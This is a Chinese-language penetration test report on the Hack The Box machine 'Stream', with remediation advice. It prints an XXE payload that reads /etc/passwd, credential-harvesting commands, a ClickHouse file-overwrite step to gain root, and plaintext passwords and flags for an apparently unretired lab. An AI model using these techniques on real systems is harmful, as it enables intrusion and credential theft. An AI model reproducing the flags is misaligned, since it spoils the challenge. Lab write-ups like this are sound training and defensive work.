HTB MACHINE REPORT

Stream

滲透測試 SOP 與技術報告

專案欄位	內容
客戶 / 平台	Hack The Box（HTB）— Stream
測試目標	10.129.157.49
測試期間	2026-11-01（Asia/Taipei）
測試人員	經授權測試者（本報告執行者）

結果：已取得 user/root 權限並成功提交兩個旗標。

文件版本 1.0 | 完成日期 2026-11-01

本文件依委託者要求明列憑證及旗標，僅供授權靶場用途。由於 Stream 當時仍屬 HTB 未退役內容，不應公開散布。

目錄與專案摘要

本報告涵蓋測試範圍、攻擊路徑 SOP、漏洞詳情、重現與檢測邏輯、證據檔索引、修復建議及附錄。每張證據卡均由保存的實際文字輸出節錄排版，並非原始桌面截圖。

1. 專案資訊與範圍

項目	內容
範圍	僅 10.129.157.49 與該主機提供之服務
TCP	1–65535 完整 TCP connect 發現；服務識別埠 22、80、8081、35723
UDP	未完成；Nmap raw UDP 需要本環境未提供的 root 權限
資料處理	受控 PoC；formatter 已還原；臨時 proof 已清理；DLQ 留下三筆測試紀錄

2. 執行摘要

服務暴露未驗證 heapdump，洩漏 ClickHouse 帳密；AIDX XML parser 啟用 DTD/外部實體，形成 XXE 並讀取 Kafka 設定。Kafka 憑證可重用登入 SSH 成為 svc-infra。root timer 的子行程把 ClickHouse 密碼放在 argv，低權限帳號可由 /proc 讀取。最後，ClickHouse default 的全域 FILE 權限可覆寫 root timer 會執行的 formatter，完成 root code execution。PoC 自我還原 formatter，原檔 686 bytes 比對一致。

已取得並提交的旗標

旗標	值	狀態
user.txt	2f9f85733e5f6934137c2c3a5d3bc05e	HTB 已提交成功
root.txt	3abcfa583499793d8b12c312523fff63	HTB 已提交成功

3. 風險摘要

ID	發現	風險	狀態
VL-001	未驗證 Actuator heapdump 洩漏憑證	Critical / 8.2	已驗證
VL-002	AIDX XML 外部實體（XXE）	High / 7.5	已驗證
VL-003	Kafka 憑證外洩與跨服務重用	Critical / 8.2	已驗證
VL-004	root 子行程 argv 洩漏密碼	Critical / 7.8	已驗證
VL-005	ClickHouse FILE 覆寫 root formatter	Critical / 8.8；鏈 9.8	已驗證；已還原

4. 攻擊路徑 SOP

步驟 1 — TCP 掃描與服務辨識

完整 TCP connect 掃描發現 22、80、8081、35723。Nmap 顯示 OpenSSH 9.6p1、nginx 1.24、Uvicorn，以及 tcpwrapped。80/tcp 導向 api.htb-airport.htb。

證據：evidence/tcp-async-results.txt；evidence/tcp-services.nmap

```
python3 reports/target-10.129.157.49/tcp_async_scan.py
nmap -Pn -n -sV -sC -p 22,80,8081,35723 --reason -oA tcp-services 10.129.157.49
```

步驟 2 — heapdump

匿名 GET /actuator/heapdump 回傳約 44 MB HPROF。離線字串搜尋找到 ClickHouse svc_events 帳密。heapdump 原始檔約 42 MiB，於本機保留。

證據：evidence/web__actuator.body；evidence/clickhouse-credentials.txt

```
curl -i http://api.htb-airport.htb/actuator/heapdump -o heapdump.hprof
strings heapdump.hprof | rg -i "password|clickhouse|svc_events"
```

步驟 3 — AIDX XXE

POST /feeds/aidx 送出 DTD 外部實體，回傳 hostname stream；並讀取 /etc/passwd 及 Kafka server.properties。程式使用 load_dtd=True、resolve_entities=True、no_network=False。

證據：evidence/xxe-hostname-text.xml；xxe-hostname-text-result.txt；xxe-passwd.txt；kafka-server.properties

```
curl -sS -X POST http://10.129.157.49:8081/feeds/aidx -H "Content-Type: application/xml" --data-binary @xxe-hostname-text.xml
```

步驟 4 — SSH 使用者存取

從 Kafka 設定取得 svc-infra / Ny2hdpme$bwT3。SSH 登入為 UID 1000；sudo -l 無 sudo 權限。

證據：evidence/ssh-credential.txt；evidence/kafka-server.properties

```
ssh svc-infra@10.129.157.49
id
sudo -l
```

步驟 5 — systemd/proc argv 密碼擷取

aidx-dlq-drainer.timer 每兩分鐘以 root 執行 /opt/ops/dlq_drainer.py。腳本把 default 密碼放在 clickhouse-client --password argv，svc-infra 可讀 /proc，實測取得 N3v3rs33nD4T4。

證據：evidence/clickhouse-credentials.txt；evidence/dlq-test-records.txt

```
systemctl cat aidx-dlq-drainer.timer aidx-dlq-drainer.service
tr "\0" " " < /proc/<PID>/cmdline
```

步驟 6 — ClickHouse FILE 至 root

default 有全域 FILE 權限。透過 file() 寫入 user_files/aidx_quarantine.py；既有 root timer 執行 formatter。受控 payload 回報 uid=0、讀取兩旗標並自我還原原 686-byte formatter。

證據：evidence/clickhouse-default-check.txt；formatter-original.py；formatter-restored.py；root-proof.txt

```
SHOW GRANTS FOR default
INSERT INTO FUNCTION file('aidx_quarantine.py', 'RawBLOB') SELECT unhex('<受控 payload hex>')
```

步驟 7 — 提交與清理

在 HTB Stream 機器頁提交 user/root flags，成功回報 owned/solved。確認 formatter 位元組還原，移除臨時 proof 與測試檔。三筆 DLQ 測試事件保留以供稽核。

證據：evidence/flags-submitted.txt；formatter-original-check.txt；dlq-test-records.txt

比對 formatter-original.py 與 formatter-restored.py；查核 HTB 提交記錄。

5. 漏洞詳情

VL-001 — 未驗證 Actuator heapdump 洩漏憑證

屬性	內容
風險	Critical；CVSS 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)
資產	api.htb-airport.htb /actuator/heapdump
CWE	CWE-200；CWE-306（視設定）
狀態	已驗證

5.1 描述

未驗證使用者可下載 Java heap dump。HPROF 內存有應用程式敏感資料，離線搜尋找到 ClickHouse 帳密 svc_events / Yl4aCgh4y2PnU，可進一步存取資料庫。

5.2 概念驗證與重現

```
curl -i http://api.htb-airport.htb/actuator/heapdump -o heapdump.hprof
strings heapdump.hprof | rg -i "password|clickhouse|svc_events"
```

5.3 證據圖片與檢測檔案

證據卡 1 | heapdump 與資料庫憑證

HTTP：匿名 heapdump 可下載
離線檢視：找到 ClickHouse credential
svc_events / Yl4aCgh4y2PnU

來源：evidence/web__actuator.body、clickhouse-credentials.txt；heapdump 原始檔約 42 MiB。輸出摘錄視覺化，非原始桌面截圖。

檢測邏輯 / 檔案：未登入 GET endpoint 檢查狀態碼及回應大小；盤點外部可達 actuator endpoint；對 heapdump 離線搜尋密碼、token、連線字串。檢查檔案：evidence/web__actuator.body、clickhouse-credentials.txt、reports/target-10.129.157.49/web__actuator_heapdump.body。

5.4 修復建議

將管理端點隔離至管理網、啟用強制驗證、停用不必要 heapdump endpoint；反向代理拒絕匿名存取；使用短效 secret manager 憑證並立即輪替已暴露帳密；檢查存取記錄。

VL-002 — AIDX XML 外部實體注入（XXE）

屬性	內容
風險	High；CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
資產	10.129.157.49:8081 POST /feeds/aidx
CWE	CWE-611
狀態	已驗證

5.1 描述

XML parser 使用 load_dtd=True、resolve_entities=True、no_network=False，允許外部實體解析。可讀取 hostname、/etc/passwd 與 Kafka 設定檔，造成敏感檔案洩漏並暴露 SSH/Kafka credential。

5.2 概念驗證與重現

```
<!DOCTYPE x [<!ENTITY leak SYSTEM "file:///etc/hostname">]>
<IATA_AIDX_FlightLegNotifRQ><LegData><RemarkFreeText>&leak;</RemarkFreeText></LegData></IATA_AIDX_FlightLegNotifRQ>

curl -sS -X POST http://10.129.157.49:8081/feeds/aidx -H "Content-Type: application/xml" --data-binary @xxe-hostname-text.xml
```

5.3 證據圖片與檢測檔案

證據卡 2 | XXE 讀取 hostname

外部實體 URI：file:///etc/hostname
API 回應欄位 RemarkFreeText：stream
延伸讀取：/etc/passwd、Kafka server.properties

來源：xxe-hostname-text.xml、xxe-hostname-text-result.txt、xxe-passwd.txt、kafka-server.properties。摘錄卡不是原始 UI 截圖。

檢測邏輯 / 檔案：用授權無害 canary 驗證 XML endpoint；檢查 parser 是否載入 DTD/解析 entities/允許網路。程式碼搜尋 load_dtd、resolve_entities、no_network。檢查檔案：xxe-hostname-text.xml、xxe-hostname-text-result.txt、xxe-passwd.txt。

5.4 修復建議

停用 DTD 與 entity resolution（resolve_entities=False、load_dtd=False、no_network=True）；拒絕含 DOCTYPE 的 XML；以低權限隔離服務處理 XML 並限制 egress；立即輪替 Kafka secret。

VL-003 — Kafka credential 洩漏與跨服務重用

屬性	內容
風險	Critical；CVSS 8.2 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)
資產	Kafka server.properties；SSH svc-infra@10.129.157.49
CWE	CWE-522；CWE-521
狀態	已驗證

5.1 描述

XXE 可讀取 Kafka 設定中的 SASL credential svc-infra / Ny2hdpme$bwT3。該密碼同時可登入 SSH，取得 UID 1000 svc-infra shell。

5.2 概念驗證與重現

```
ssh svc-infra@10.129.157.49
id
sudo -l
```

5.3 證據圖片與檢測檔案

證據卡 3 | 服務 secret 重用

Kafka config credential：svc-infra / Ny2hdpme$bwT3
SSH login：uid=1000(svc-infra)
sudo -l：無 sudo 權限

來源：kafka-server.properties、ssh-credential.txt。結果為實際 SSH 驗證輸出摘要。

檢測邏輯 / 檔案：檢查跨服務密碼重用；從授權網路驗證設定檔 secret 是否可登入 SSH；稽核 Kafka SASL 與 SSH 認證紀錄。檢查檔案：kafka-server.properties、ssh-credential.txt。

5.4 修復建議

立即輪替 Kafka/SSH credential；每服務使用獨立高熵 secret；Kafka 設定限服務帳號可讀；移除互動式 SSH 登入或採短效憑證、來源限制。

VL-004 — root 子行程 argv 洩漏 ClickHouse 密碼

屬性	內容
風險	Critical；CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
資產	aidx-dlq-drainer.timer/service、/proc
CWE	CWE-214；CWE-522
狀態	已驗證

5.1 描述

root timer 每兩分鐘啟動 DLQ drainer。程式從 /etc/partner-sync/ch.pw 讀密碼並傳給 clickhouse-client --password。svc-infra 可讀 procfs argv，擷取 default / N3v3rs33nD4T4。

5.2 概念驗證與重現

```
systemctl cat aidx-dlq-drainer.timer aidx-dlq-drainer.service
tr "\0" " " < /proc/<PID>/cmdline
```

5.3 證據圖片與檢測檔案

證據卡 4 | 排程憑證曝露

root timer：aidx-dlq-drainer.timer
子行程參數：clickhouse-client --password ...
擷取 credential：default / N3v3rs33nD4T4

來源：clickhouse-credentials.txt、dlq-test-records.txt。以受控 DLQ 記錄對時 timer 執行。

檢測邏輯 / 檔案：審查排程是否將 secret 放 argv；用低權限帳號檢查 /proc/<pid>/cmdline 可讀性；檢查 timer/service 權限及執行紀錄。檢查檔案：clickhouse-credentials.txt、dlq-test-records.txt。

5.4 修復建議

使用 systemd LoadCredential 或限權設定檔，不要將密碼放 argv；限制 procfs 可見度；採用專用最小權限 ClickHouse 帳號，輪替密碼並稽核查詢。

VL-005 — ClickHouse FILE 覆寫 root formatter

屬性	內容
風險	Critical；單項 CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)；端到端鏈 9.8
資產	ClickHouse default、user_files/aidx_quarantine.py、root DLQ timer
CWE	CWE-250；CWE-732；CWE-829
狀態	已驗證；formatter 已還原

5.1 描述

ClickHouse default 全域 FILE 權限可寫入 user_files formatter，而 root DLQ drainer 執行該 Python 檔。攻擊者利用可寫入程式與 root 排程取得 root code execution。自我還原 PoC 回報 uid=0 並讀取兩旗標；原 formatter 686 bytes，復原後逐位元組相同。

5.2 概念驗證與重現

1. 以 default / N3v3rs33nD4T4 登入 ClickHouse。
2. SHOW GRANTS 確認 FILE 權限。
3. file('aidx_quarantine.py', 'RawBLOB') 寫入受控 formatter。
4. 等待 DLQ timer 執行，確認 uid=0 與 flag proof。
5. 比對 formatter-original.py 與 formatter-restored.py。

5.3 證據圖片與檢測檔案

證據卡 5 | root proof 與回復

ClickHouse default grants：含全域 FILE
受控 formatter 執行：uid=0
user.txt：2f9f85733e5f6934137c2c3a5d3bc05e
root.txt：3abcfa583499793d8b12c312523fff63
formatter：686 bytes，還原比對一致

來源：clickhouse-default-check.txt、root-proof.txt、formatter-original.py、formatter-restored.py、formatter-original-check.txt。摘錄卡非原始桌面截圖。

檢測邏輯 / 檔案：盤點 ClickHouse grants，確認 file() 寫入能力；檢查 root timer 所執行檔案是否低權限可改；監控 user_files hash 與 timer 執行。檢查 clickhouse-default-check.txt、formatter-original.py、formatter-restored.py、root-proof.txt。

5.4 修復建議

撤銷 default 全域 FILE/管理權限並輪替密碼；root 執行程式移出 user_files，改由 root 擁有且唯讀；執行前驗證擁有者、權限與 hash；加上 systemd sandbox、最小權限與檔案完整性監控。

6. 修復優先順序

時程	工作項目
立即 / P0	輪替 svc_events、Kafka/SSH svc-infra、ClickHouse default；關閉匿名 heapdump 與 XXE；撤銷 FILE 權限及停用 root 執行 user_files 程式。
24 小時 / P1	移除 argv 密碼、限制 /proc、改用最小權限服務帳號並安全注入 secret。
7 日 / P2	檢查 heapdump/SSH/ClickHouse/Kafka/systemd 日誌；查核 secret 重用；加入 XML 安全測試與 user_files 完整性監控。
修復驗證	重測 heapdump 匿名存取、XXE canary、憑證重用、procfs 可見度、ClickHouse grant/formatter 寫入，保存修復前後證據。

7. 證據與檔案索引

檔案	內容
tcp-async-results.txt；tcp-services.nmap	完整 TCP 發現參數與服務版本
web__actuator.body；clickhouse-credentials.txt	heapdump 摘要與帳密
xxe-hostname-text.xml；xxe-hostname-text-result.txt；xxe-passwd.txt	XXE payload、hostname、passwd 證據
kafka-server.properties；ssh-credential.txt	Kafka 設定與 SSH credential
clickhouse-default-check.txt	ClickHouse 版本、資料庫與 grant
dlq-test-records.txt	三筆測試 DLQ 稽核記錄
formatter-original.py；formatter-restored.py；formatter-original-check.txt	formatter 還原前後內容與檢查輸出
reports/target-10.129.157.49/formatter_root_payload.py	完整自我還原 root PoC 原始碼
root-proof.txt；flags-submitted.txt	root UID、兩旗標及 HTB 提交結果
reports/target-10.129.157.49/web__actuator_heapdump.body	heapdump 原始檔，約 42 MiB

證據呈現聲明：報告中的證據卡由保存的真實文字輸出節錄排版，並非原始終端或 HTB UI 截圖。HTB solved 畫面曾於測試工作階段檢視但未保存圖片，因此本報告引用本機提交記錄，不以示意畫面冒充截圖。

8. 附錄

8.1 風險等級定義

等級	定義
Critical	可直接或經短鏈取得最高權限、重大資料暴露或廣泛影響，需立即處理。
High	重大機密性/完整性影響，常可由網路或低權限快速利用。
Medium	影響受限或需額外前提，依風險排程修復。
Low	影響有限，納入例行修補。

8.2 CVSS v3.1

分數為依本次測試假設的建議 Base Score。權限要求與攻擊向量會隨實際網路分段、身份驗證和暴露方式改變。鏈式風險另列，不將單項分數相加。FIRST CVSS v3.1 Base Metric 為計算依據。

8.3 憑證與旗標（明文）

類型	值
ClickHouse 應用帳號	svc_events / Yl4aCgh4y2PnU
Kafka / SSH	svc-infra / Ny2hdpme$bwT3
ClickHouse default	default / N3v3rs33nD4T4
user.txt	2f9f85733e5f6934137c2c3a5d3bc05e
root.txt	3abcfa583499793d8b12c312523fff63

8.4 工具

Nmap 7.99、Python asyncio TCP connect scanner、curl、strings、ClickHouse client、SSH client、systemd/procfs 檢視工具、ReportLab、Poppler pdftoppm/pdfinfo。

8.5 詞彙

AIDX：航空資訊交換 XML。XXE：XML 外部實體解析弱點。HPROF/heapdump：Java 記憶體快照。DLQ：失敗訊息佇列。SASL：Kafka 常用認證框架。argv：程序命令列參數。user_files/FILE：ClickHouse file table function 可存取的檔案區域/權限。

8.6 參考資料

HTB Platform Rules：https://help.hackthebox.com/en/articles/12325897-hack-the-box-platform-rules
HTB Acceptable Use Policy：https://www.hackthebox.com/hubfs/Legal/AUP.pdf?hsLang=en
Spring Boot Actuator heapdump：https://docs.spring.io/spring-boot/api/rest/actuator/heapdump.html
lxml parsing：https://lxml.de/parsing.html
Apache Kafka listener configuration：https://kafka.apache.org/44/security/listener-configuration/
Apache Kafka Security Model：https://kafka.apache.org/44/security/security-model/
ClickHouse file table function：https://clickhouse.com/docs/sql-reference/table-functions/file
FIRST CVSS v3.1 Specification：https://www.first.org/cvss/v3.1/specification-document
Nmap Reference Guide：https://nmap.org/book/man.html

9. 簽署與聲明

本報告只涵蓋指定 HTB Stream 靶機與本次測試時間窗口。發現依測試時可觀察狀態描述；修復後應重新測試。本文包含可用憑證與旗標，應限制保存與分享權限。Stream 測試時仍為 HTB 未退役內容，不應公開散布。測試者確認所有操作均在委託者明確授權的靶機範圍內執行。

測試人員：授權測試者

完成日期：2026-11-01